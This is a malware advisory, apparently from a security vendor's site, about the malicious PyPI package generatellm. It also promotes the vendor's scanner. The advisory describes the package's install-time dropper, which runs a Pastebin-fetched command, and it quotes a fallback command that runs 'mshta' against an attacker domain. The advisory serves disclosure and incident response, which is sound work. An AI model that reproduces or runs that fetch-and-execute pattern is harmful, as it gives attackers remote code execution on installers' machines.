generatellmPyPI
Malicious code in generatellm (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
GenerateLLM 2.23 is a hollow PyPI package (placeholder metadata, no functional code under src/, only an egg-info directory) whose entire payload is an install-time remote code execution dropper. setup.py at lines 31-35 fetches https://pastebin.com/raw/yBcUM1QB, takes the first line of the response, and passes it directly to os.system via cmd /c "{cmd_pastebin}", executing arbitrary attacker-controlled commands on the installer's machine. If the Pastebin fetch fails, setup.py line 38 falls back to os.system('cmd /c "mshta http://fixars.top"'), abusing the Windows mshta.exe LOLBin to load and execute a remote HTA application from an unrelated, non-publisher, plain-HTTP domain. Both branches fire automatically during pip install GenerateLLM with no user interaction. The Pastebin URL is mutable and anonymous, so the executed command can be changed by the attacker at any time without republishing the package. The generic LLM-themed name with no real author identity is consistent with namespace-squatting designed to lure developers searching for LLM tooling.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
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Downloads and executes a remote executable.
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obfuscation
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malware
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tool:mshta
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for generatellm (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging generatellm across your stack and pipelines.
If you installed it — respond
generatellm is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If generatellm was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks generatellm before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks generatellm-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.